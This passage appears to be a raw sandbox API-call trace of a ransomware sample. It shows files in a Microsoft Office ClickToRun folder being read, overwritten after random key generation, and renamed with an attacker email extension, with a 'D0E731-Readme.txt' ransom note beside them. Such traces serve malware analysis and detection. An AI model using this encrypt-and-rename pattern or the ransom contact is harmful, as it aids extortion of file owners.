hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x280bfe50, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x280bfe50*=0x4096, lpOverlapped=0x0) returned 1 [0084.187] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.187] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.187] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbb8 [0084.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.188] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x280bfe50, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x280bfe50*=0x4096, lpOverlapped=0x0) returned 1 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.188] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x5211, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.188] WriteFile (in: hFile=0x670, lpBuffer=0x342dbb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x280bfe88, lpOverlapped=0x0 | out: lpBuffer=0x342dbb8*, lpNumberOfBytesWritten=0x280bfe88*=0x20, lpOverlapped=0x0) returned 1 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbb8) returned 1 [0084.188] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.188] WriteFile (in: hFile=0x670, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x280bfe9c*=0x8, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0x670, lpBuffer=0x280bfeb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x280bfeb4*, lpNumberOfBytesWritten=0x280bfe9c*=0x4, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x280bfe9c*=0x4, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x280bfe9c*=0x6c, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0x670, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x280bfe9c*=0x20, lpOverlapped=0x0) returned 1 [0084.189] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x280bfe9c*=0x4, lpOverlapped=0x0) returned 1 [0084.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d960) returned 1 [0084.189] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.189] CloseHandle (hObject=0x670) returned 1 [0084.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x34226e8 [0084.189] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" [0084.189] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0084.189] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.190] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.190] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 0 [0084.191] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3494cf8 [0084.191] wcscpy (in: _Dest=0x3494cf8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0084.191] wcscat (in: _Dest=0x3494cf8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" [0084.191] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0084.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494cf8) returned 1 [0084.191] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0084.191] RtlExitUserThread (Status=0x1) Thread: id = 1128 os_tid = 0x6d8 [0082.786] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash")) returned 0x20 [0084.132] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 1 [0084.146] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.148] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x2813f79c | out: lpFileSize=0x2813f79c*=102) returned 1 [0084.150] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.150] ReadFile (in: hFile=0x670, lpBuffer=0x2813f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x2813f770*, lpNumberOfBytesRead=0x2813f76c*=0x4, lpOverlapped=0x0) returned 1 [0084.157] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.157] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d910 [0084.157] NtQuerySystemTime (in: CurrentTime=0x2813f748 | out: CurrentTime=0x2813f748*=132121176420547605) returned 0x0 [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x28500aa7 [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x3155f841 [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xdfe448bc [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x7e00de7d [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x4aa8514d [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x9699f75 [0084.157] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x25b81007 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x24529117 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xded3fd37 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xddc0ca0 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x64d09ac7 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x60f809f5 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x949423ca [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x6e3b24ed [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x2f6994f3 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x371d9f0a [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x80387858 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x3434495e [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xc021c20 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x49e94cb3 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x7e35d73b [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xb0954beb [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xd4090b5b [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xea84085 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xf72f7ca3 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x58dbc6e [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0xe3001cb6 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x42907774 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x200b3f30 [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x20d639ac [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x20d247cd [0084.158] RtlRandom (in: Seed=0x2813f754 | out: Seed=0x2813f754) returned 0x598f13f6 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.169] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x2813f748, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2813f748*=0x66, lpOverlapped=0x0) returned 1 [0084.169] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2813f710 | out: lpNewFilePointer=0x0) returned 1 [0084.169] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2813f744, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2813f744*=0x66, lpOverlapped=0x0) returned 1 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbb8 [0084.169] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.169] WriteFile (in: hFile=0x670, lpBuffer=0x342dbb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2813f740, lpOverlapped=0x0 | out: lpBuffer=0x342dbb8*, lpNumberOfBytesWritten=0x2813f740*=0x20, lpOverlapped=0x0) returned 1 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbb8) returned 1 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.169] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x342d960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x342d960*, lpNumberOfBytesWritten=0x2813f76c*=0x8, lpOverlapped=0x0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x2813f784*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x2813f784*, lpNumberOfBytesWritten=0x2813f76c*=0x4, lpOverlapped=0x0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2813f76c*=0x4, lpOverlapped=0x0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2813f76c*=0x6c, lpOverlapped=0x0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x2813f76c*=0x20, lpOverlapped=0x0) returned 1 [0084.170] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2813f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2813f76c*=0x4, lpOverlapped=0x0) returned 1 [0084.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d938) returned 1 [0084.170] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d960) returned 1 [0084.170] CloseHandle (hObject=0x670) returned 1 [0084.170] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x34226e8 [0084.170] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" [0084.170] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" [0084.170] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.171] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.171] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash", dwFileAttributes=0x20) returned 0 [0084.171] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3494b38 [0084.171] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0084.172] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" [0084.172] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0084.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.172] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7f08) returned 1 [0084.172] RtlExitUserThread (Status=0x1) Thread: id = 1129 os_tid = 0x6c0 [0082.787] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20 [0084.130] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 1 [0084.131] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0084.131] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x281bfa74 | out: lpFileSize=0x281bfa74*=3688458) returned 1 [0084.131] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x384806, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.131] ReadFile (in: hFile=0x3d0, lpBuffer=0x281bfa48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x281bfa48*, lpNumberOfBytesRead=0x281bfa44*=0x4, lpOverlapped=0x0) returned 1 [0084.133] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.133] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8c0 [0084.133] NtQuerySystemTime (in: CurrentTime=0x281bfa20 | out: CurrentTime=0x281bfa20*=132121176420235222) returned 0x0 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x2f2a7321 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xa8f0c29a [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xeda79cbb [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xe2f9478b [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x7fde718b [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x71e0a2e4 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x12603403 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xf7f72830 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xdaa457de [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x73009d36 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x502dd002 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xab52716c [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xfb524acb [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x167372a [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xac472ad9 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xf861f6a6 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x1f7c6237 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x99fc4b66 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xd2e1451d [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xd59e10d [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x94ae1fe6 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x14ba5978 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x90e82a48 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x9094c731 [0084.133] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xcf646e02 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x6291b1a5 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x3ebf2a05 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xf32e69c3 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xcfb2d1f6 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x2f1255 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0xbaf37a70 [0084.134] RtlRandom (in: Seed=0x281bfa2c | out: Seed=0x281bfa2c) returned 0x539d11e1 [0084.145] 